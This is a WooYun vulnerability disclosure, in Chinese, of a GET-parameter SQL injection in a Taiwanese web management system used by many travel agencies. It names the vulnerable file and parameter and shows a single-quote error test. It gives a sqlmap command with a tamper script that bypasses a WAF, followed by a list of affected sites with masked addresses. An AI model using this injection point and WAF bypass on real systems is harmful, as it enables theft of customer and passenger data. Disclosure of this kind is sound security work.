WooYun.org

台湾WebManager-管理系統存在SQL注入影响众多旅行社(附大量案例)。
说明：乌云YY-2012发过这个系统的POST注入，还上过首页吧???而且很鸡肋，厂商回复说：目前測試所列案例僅有少數存在SQL Injection，但我这个注入简单粗暴（GET注入），
只要有案例，存在漏洞文件，就一定存在注入，手工和工具两种方法撸起。说了这么多我也想上首页！！！上首页.上首页.上首页.重要的是说三遍。
存在waf,手工和工具均绕过！(手工为主)
注入漏洞（ＧＥＴ注入）文件：/include/get_pax_dtl.asp?pax_cd=1
单引号注入报错：**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1'

工具注入：使用--tamper space2comment 绕过waf即可。
证明：
D:\py\sqlmap>sqlmap.py -u **.**.**.**:8000/include/get_pax_dtl.asp?pax
_cd=1 --tamper space2comment

给出部分案例，更多案例见YY-2012的漏洞：http://**.**.**.**/bugs/wooyun-2010-0120433
案例如下:
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8080/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000/include/get_pax_dtl.asp?pax_cd=1
http://**.**.**.**:8000//include/get_pax_dtl.asp?pax_cd=1
**.**.**.**:8000//include/get_pax_dtl.asp?pax_cd=1